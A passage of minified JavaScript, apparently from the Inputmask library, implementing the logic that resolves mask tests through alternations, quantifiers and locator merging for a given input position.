altIndexArrClone); } (!0 === opts.keepStatic || isFinite(parseInt(opts.keepStatic)) && currentPos >= opts.keepStatic) && (altIndexArr = altIndexArr.slice(0, 1)); for (var unMatchedAlternation = !1, ndx = 0; ndx < altIndexArr.length; ndx++) { amndx = parseInt(altIndexArr[ndx]), matches = [], ndxInitializer = "string" == typeof altIndex && resolveNdxInitializer(testPos, amndx, loopNdxCnt) || ndxInitializerClone.slice(), alternateToken.matches[amndx] && handleMatch(alternateToken.matches[amndx], [ amndx ].concat(loopNdx), quantifierRecurse) ? match = !0 : 0 === ndx && (unMatchedAlternation = !0), maltMatches = matches.slice(), testPos = currentPos, matches = []; for (var ndx1 = 0; ndx1 < maltMatches.length; ndx1++) { var altMatch = maltMatches[ndx1], dropMatch = !1; altMatch.match.jit = altMatch.match.jit || unMatchedAlternation, altMatch.alternation = altMatch.alternation || loopNdxCnt, setMergeLocators(altMatch); for (var ndx2 = 0; ndx2 < malternateMatches.length; ndx2++) { var altMatch2 = malternateMatches[ndx2]; if ("string" != typeof altIndex || void 0 !== altMatch.alternation && altIndexArr.includes(altMatch.locator[altMatch.alternation].toString())) { if (altMatch.match.nativeDef === altMatch2.match.nativeDef) { dropMatch = !0, setMergeLocators(altMatch2, altMatch); break; } if (isSubsetOf(altMatch, altMatch2)) { setMergeLocators(altMatch, altMatch2) && (dropMatch = !0, malternateMatches.splice(malternateMatches.indexOf(altMatch2), 0, altMatch)); break; } if (isSubsetOf(altMatch2, altMatch)) { setMergeLocators(altMatch2, altMatch); break; } if (staticCanMatchDefinition(altMatch, altMatch2)) { isSameLevel(altMatch, altMatch2) || void 0 !== el.inputmask.userOptions.keepStatic ? setMergeLocators(altMatch, altMatch2) && (dropMatch = !0, malternateMatches.splice(malternateMatches.indexOf(altMatch2), 0, altMatch)) : opts.keepStatic = !0; break; } } } dropMatch || malternateMatches.push(altMatch); } } matches = currentMatches.concat(malternateMatches), testPos = pos, insertStop = 0 < matches.length, match = 0 < malternateMatches.length, ndxInitializer = ndxInitializerClone.slice(); } else match = handleMatch(alternateToken.matches[altIndex] || maskToken.matches[altIndex], [ altIndex ].concat(loopNdx), quantifierRecurse); if (match) return !0; } else if (match.isQuantifier && quantifierRecurse !== maskToken.matches[maskToken.matches.indexOf(match) - 1]) for (var qt = match, qndx = 0 < ndxInitializer.length ? ndxInitializer.shift() : 0; qndx < (isNaN(qt.quantifier.max) ? qndx + 1 : qt.quantifier.max) && testPos <= pos; qndx++) { var tokenGroup = maskToken.matches[maskToken.matches.indexOf(qt) - 1]; if (match = handleMatch(tokenGroup, [ qndx ].concat(loopNdx), tokenGroup), match) { if (latestMatch = matches[matches.length - 1].match, latestMatch.optionalQuantifier = qndx >= qt.quantifier.min, latestMatch.jit = (qndx || 1) * tokenGroup.matches.indexOf(latestMatch) >= qt.quantifier.jit, latestMatch.optionalQuantifier && isFirstMatch(latestMatch, tokenGroup)) { insertStop = !0, testPos = pos; break; } return latestMatch.jit && (maskset.jitOffset[pos] = tokenGroup.matches.length - tokenGroup.matches.indexOf(latestMatch)), !0; } } else if (match = resolveTestFromToken(match, ndxInitializer, loopNdx, quantifierRecurse), match) return !0; } else testPos++; } for (var tndx = 0 < ndxInitializer.length ? ndxInitializer.shift() : 0; tndx < maskToken.matches.length; tndx++) if (!0 !== maskToken.matches[tndx].isQuantifier) { var match = handleMatch(maskToken.matches[tndx], [ tndx ].concat(loopNdx), quantifierRecurse); if (match && testPos === pos) return match; if (pos < testPos) break; } } function mergeLocators(pos, tests) { var locator = [], alternation; return Array.isArray(tests) || (tests = [ tests ]), 0 < tests.length && (void 0 === tests[0].alternation || !0 === opts.keepStatic ? (locator = determineTestTemplate.call(inputmask, pos, tests.slice()).locator.slice(), 0 === locator.length && (locator = tests[0].locator.slice())) : tests.forEach(function(tst) { "" !== tst.def && (0 === locator.length ? (alternation = tst.alternation, locator = tst.locator.slice()) : tst.locator[alternation] && -1 === locator[alternation].toString().indexOf(tst.locator[alternation]) && (locator[alternation] += "," + tst.locator[alternation])); })), locator; } if (-1 < pos && (void 0 === inputmask.maxLength || pos < inputmask.maxLength)) { if (void 0 === ndxIntlzr) { for (var previousPos = pos - 1, test; void 0 === (test = maskset.validPositions[previousPos] || maskset.tests[previousPos]) && -1 < previousPos; ) previousPos--; void 0 !== test && -1 < previousPos && (ndxInitializer = mergeLocators(previousPos, test), cacheDependency = ndxInitializer.join(""), testPos = previousPos); } if (maskset.tests[pos] && maskset.tests[pos][0].cd === cacheDependency) return maskset.tests[pos]; for (var mtndx = ndxInitializer.shift(); mtndx < maskTokens.length; mtndx++) { var match = resolveTestFromToken(maskTokens[mtndx], ndxInitializer, [ mtndx ]); if (match && testPos === pos || pos < testPos) break; } } return 0 !== matches.length &&